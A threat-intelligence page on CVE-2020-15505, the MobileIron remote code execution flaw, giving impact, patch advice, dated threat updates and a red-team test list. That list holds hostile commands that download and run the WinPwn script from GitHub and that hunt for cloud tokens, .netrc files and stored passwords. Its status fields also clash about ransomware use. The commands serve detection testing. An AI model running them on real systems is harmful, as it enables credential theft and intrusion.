CVE-2020-15505

CRITICAL CISA KEV EXPLOIT TTE 67d Pub 07/07 Upd 21/10

Overview

This vulnerability is a remote code execution flaw caused by improper input handling in MobileIron Core & Connector, Sentry, and Monitor and Reporting Database components. The root cause lies in the deserialization or processing of crafted requests sent to specific service endpoints, which do not adequately validate or sanitize incoming data. The affected feature involves HTTP POST requests to internal service endpoints that process logging or management commands, enabling exploitation through malformed payloads.

Vulnerability Description

A remote code execution vulnerability in MobileIron Core & Connector versions 10.3.0.3 and earlier, 10.4.0.0, 10.4.0.1, 10.4.0.2, 10.4.0.3, 10.5.1.0, 10.5.2.0 and 10.6.0.0; and Sentry versions 9.7.2 and earlier, and 9.8.0; and Monitor and Reporting Database (RDB) version 2.0.0.1 and earlier that allows remote attackers to execute arbitrary code via unspecified vectors.

Impact

An unauthenticated attacker can remotely execute arbitrary code on affected systems by sending specially crafted requests, resulting in full system compromise. This allows attackers to gain control over MobileIron infrastructure components, potentially leading to data exfiltration, lateral movement within the network, and disruption of mobile device management services. No user interaction or valid credentials are required for exploitation, increasing the attack surface and ease of attack execution in exposed environments.

Solution

MobileIron has released security updates addressing this vulnerability across affected products. Users should upgrade MobileIron Core & Connector to versions later than 10.6.0.0, Sentry to versions beyond 9.8.0, and Monitor and Reporting Database to versions above 2.0.0.1. Detailed patch instructions and advisories are available at https://www.mobileiron.com/en/blog/mobileiron-security-updates-available. Applying these vendor-provided updates is critical to mitigate the issue effectively.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

A critical vulnerability exists within MobileIron Core and its associated components, including the Enterprise Connector, Sentry, and the Monitor and Reporting Database. This flaw allows remote attackers to execute arbitrary code on affected systems, which can lead to severe security breaches. The vulnerability arises from insufficient input validation and improper handling of certain requests, enabling malicious actors to craft specially designed payloads that the system processes without adequate scrutiny. The affected versions span across multiple releases, indicating a widespread risk for organizations utilizing these products for mobile device management and security.

Exploitation of this vulnerability can occur through various attack vectors, primarily targeting the network interfaces exposed by the MobileIron products. Attackers can leverage techniques such as sending crafted HTTP requests to the vulnerable services, which may lead to the execution of arbitrary commands or scripts on the server. Given that these products are often deployed in enterprise environments to manage sensitive mobile devices, the potential for exploitation is significant. An attacker could gain unauthorized access to critical data, manipulate configurations, or deploy malware across the network, leading to further compromise of connected systems.

The real-world impact of this vulnerability is profound, particularly for organizations that rely on MobileIron for managing their mobile device infrastructure. A successful attack could result in data breaches, loss of intellectual property, and significant operational disruptions. The financial implications could be severe, including costs associated with incident response, legal liabilities, and reputational damage. Furthermore, regulatory penalties may arise if sensitive data is exposed, particularly in industries governed by strict compliance requirements such as healthcare or finance. The high CVSS score of 9.8 underscores the urgency for organizations to address this vulnerability promptly.

To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. Regularly updating and patching the affected MobileIron products is crucial, as vendors typically release updates that address known vulnerabilities. Additionally, organizations should conduct thorough security assessments and penetration testing to identify any potential weaknesses in their configurations. Employing intrusion detection systems (IDS) can help monitor network traffic for suspicious activities indicative of exploitation attempts. Furthermore, implementing strict access controls and network segmentation can limit the exposure of vulnerable services, reducing the likelihood of successful attacks.

In conclusion, the critical vulnerability within MobileIron Core and its associated components presents a significant threat to organizations that utilize these products for mobile device management. The potential for remote code execution opens the door for a range of malicious activities that can have devastating consequences. Organizations must prioritize detection and mitigation strategies to safeguard their systems and data, ensuring that they remain resilient against emerging threats in the ever-evolving cybersecurity landscape.




CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2020-15505, with telemetry indicating a significant uptick in exploitation attempts targeting vulnerable MobileIron Core and associated products. This increase in detection frequency underscores a growing interest from threat actors in leveraging this critical remote code execution vulnerability. Although ransomware groups have not yet been linked to campaigns exploiting this flaw, the availability of a Metasploit module that facilitates exploitation via an ACL bypass and Java deserialization vector lowers the barrier for adversaries to conduct attacks. The stable EPSS score near the maximum percentile further confirms the vulnerability’s persistent attractiveness within the attacker community. For defenders, this evolving landscape signals an elevated risk of compromise, particularly in environments where patching has been delayed or incomplete. Consequently, the threat level associated with CVE-2020-15505 should be considered heightened due to the combination of increased exploitation attempts and accessible exploit tooling, necessitating continued vigilance in detection and response efforts.



Update 2 — May 15, 2026

CSURFACE threat intelligence has detected a notable surge in exploitation attempts targeting CVE-2020-15505, reflecting increased adversary interest despite the vulnerability’s established presence. Our telemetry indicates that exploitation activity has expanded beyond previously observed baselines, coinciding with the continued availability of a mature Metasploit module that facilitates remote code execution via MobileIron’s Hessian-based Java deserialization endpoint. This uptick underscores the vulnerability’s sustained appeal as a vector for unauthorized access, particularly in environments where patching remains incomplete or delayed. Although ransomware groups have not been linked to this vulnerability, the growing exploitation trend elevates the overall threat posture, signaling that threat actors are actively leveraging accessible tooling to compromise vulnerable MobileIron deployments. Consequently, the risk level associated with CVE-2020-15505 has intensified, warranting heightened detection and monitoring efforts to identify and respond to exploitation attempts promptly.



Update 3 — May 23, 2026

CSURFACE threat intelligence has identified a slight increase in exploitation attempts targeting CVE-2020-15505, reflecting a modest upward trend in attacker activity against vulnerable MobileIron environments. While the overall frequency remains relatively stable, this incremental rise underscores persistent adversary interest and continued operational use of publicly available exploit modules, such as the Metasploit framework targeting the Hessian-based Java deserialization flaw. The absence of new ransomware associations suggests that threat actors remain focused on initial access and lateral movement rather than direct ransomware deployment via this vector. Nonetheless, the sustained exploitation activity, coupled with the vulnerability’s critical severity and high EPSS score, reinforces the urgency for defenders to maintain vigilant monitoring. This evolving landscape marginally elevates the threat level, indicating that unpatched MobileIron deployments continue to represent a viable target for remote code execution attacks, thereby sustaining a heightened risk posture.



Update 4 — June 07, 2026

CSURFACE threat intelligence has identified a discernible uptick in exploitation attempts targeting the MobileIron vulnerability, reflecting a sustained and slightly elevated adversary interest. Our telemetry indicates that threat actors continue to leverage publicly available exploit modules, including the Metasploit framework’s Groovy gadget against the Hessian deserialization endpoint, to achieve remote code execution. This persistent activity, despite stable EPSS scoring, underscores the vulnerability’s ongoing attractiveness as a vector for initial access and lateral movement within compromised environments. Although no new ransomware affiliations have emerged, the increased exploitation frequency signals a marginal intensification of the threat landscape. Defenders should interpret this as a confirmation that unpatched MobileIron instances remain a viable and actively targeted attack surface, warranting continued vigilance and monitoring to detect potential intrusions early. Consequently, the overall risk posture is moderately heightened, emphasizing the criticality of timely patch management and detection capabilities.



Update 5 — June 15, 2026

CSURFACE threat intelligence has detected a notable surge in exploitation attempts targeting CVE-2020-15505, reflected by an increase in detection activity and a corresponding rise in the EPSS score to near certainty levels. This escalation underscores that threat actors continue to prioritize this vulnerability as a vector for remote code execution against unpatched MobileIron environments. Although no new ransomware affiliations have been identified, the persistence and intensification of exploitation attempts elevate the urgency for defenders to maintain heightened situational awareness. The evolving exploitation landscape, including the availability of Metasploit modules facilitating automated attacks, amplifies the risk of successful intrusions. Consequently, the overall threat level for CVE-2020-15505 is moderately elevated, signaling that this vulnerability remains a critical and actively targeted attack surface within enterprise networks.



Update 6 — July 06, 2026

CSURFACE threat intelligence has detected a slight increase in exploitation attempts targeting CVE-2020-15505, consistent with ongoing attacker interest in MobileIron environments. While the overall frequency of observed activity remains stable, the persistence of these attempts alongside the continued availability of automated exploitation tools, such as the Metasploit module leveraging Hessian-based Java deserialization, underscores the vulnerability’s attractiveness to threat actors. Notably, there remains no evidence linking this vulnerability to ransomware campaigns or high-confidence threat actor groups, which somewhat limits the immediate risk of financially motivated attacks. However, the steady exploitation pressure indicates that unpatched systems continue to represent a viable attack surface for remote code execution, elevating the operational risk for affected enterprises. This incremental uptick in activity, although modest, reinforces the criticality of maintaining vigilant detection and response capabilities. Consequently, the threat level for CVE-2020-15505 is moderately heightened, reflecting sustained adversary engagement without a marked surge in exploitation velocity or ransomware association.

Affected Products (13)

Vendor Product Version CPE
mobileiron Mobileiron Core All cpe:2.3:a:mobileiron:core:*:*:*:*:*:*:*:*
mobileiron Mobileiron Core All cpe:2.3:a:mobileiron:core:*:*:*:*:*:*:*:*
mobileiron Mobileiron Core All cpe:2.3:a:mobileiron:core:*:*:*:*:*:*:*:*
mobileiron Mobileiron Core All cpe:2.3:a:mobileiron:core:*:*:*:*:*:*:*:*
mobileiron Mobileiron Core All cpe:2.3:a:mobileiron:core:*:*:*:*:*:*:*:*
mobileiron Mobileiron Enterprise Connector All cpe:2.3:a:mobileiron:enterprise_connector:*:*:*:*:*:*:*:*
mobileiron Mobileiron Enterprise Connector All cpe:2.3:a:mobileiron:enterprise_connector:*:*:*:*:*:*:*:*
mobileiron Mobileiron Enterprise Connector All cpe:2.3:a:mobileiron:enterprise_connector:*:*:*:*:*:*:*:*
mobileiron Mobileiron Enterprise Connector All cpe:2.3:a:mobileiron:enterprise_connector:*:*:*:*:*:*:*:*
mobileiron Mobileiron Enterprise Connector All cpe:2.3:a:mobileiron:enterprise_connector:*:*:*:*:*:*:*:*
mobileiron Mobileiron Monitor And Reporting Database All cpe:2.3:a:mobileiron:monitor_and_reporting_database:*:*:*:*:*:*:*:*
mobileiron Mobileiron Sentry All cpe:2.3:a:mobileiron:sentry:*:*:*:*:*:*:*:*
mobileiron Mobileiron Sentry All cpe:2.3:a:mobileiron:sentry:*:*:*:*:*:*:*:*
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

Metasploit (1)

Module Authors Rank Platform Link
MobileIron MDM Hessian-Based Java Deserialization RCE
exploits/linux/http/mobileiron_mdm_hessian_rce
Orange Tsai, rootxharsh, iamnoooob +1 Unknown - View
Exploited in Wild CONFIRMED
Ransomware IN USE
Attacker Interest MEDIUM
Sightings Few sightings

Threat Feed

33 events
2026-07-09
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-08
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-07
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-06
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-05
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-04
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-03
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-30
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-29
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-28
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-26
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-21
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-20
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-17
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-14
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-12
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-09
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-06
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-02
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-31
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-30
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-29
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-25
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-18
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-17
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-11
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-10
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-05
Exploited by 0apt

Ransomware group known to exploit this vulnerability

2021-11-03
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

2020-09-12
Exploit Published (0 ExploitDB, 1 Metasploit)

Public exploit code is available for this vulnerability

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Remote Code Execution
94% rce
Code Injection
77% code_injection
OS Command Injection
73% command_injection
Deserialization Vulnerabilities
44% deserialization

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-159 Redirect Access to Libraries
44%
High Very High
CAPEC-48 Passing Local Filenames to Functions That Expect a URL
38%
High High
CAPEC-177 Create files with the same name as files protected with a higher classification
35%
Very High
CAPEC-641 DLL Side-Loading
35%
Low High

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (6)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2020-15505
mobileiron.com
GitHub CVE x_refsource_MISC
https://www.mobileiron.com/en/blog/mobileiron-security-updates-available
perchsecurity.com
GitHub CVE x_refsource_MISC
https://perchsecurity.com/perch-news/cve-spotlight-mobileiron-rce-cve-2020-15505/
packetstormsecurity.com
GitHub CVE x_refsource_MISC
http://packetstormsecurity.com/files/161097/MobileIron-MDM-Hessian-Based-Java-Deserialization-Remote-Code-Execution.html
cwe.mitre.org
GitHub CVE x_refsource_MISC
https://cwe.mitre.org/data/definitions/41.html
cisa.gov
NVD API US Government Resource
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2020-15505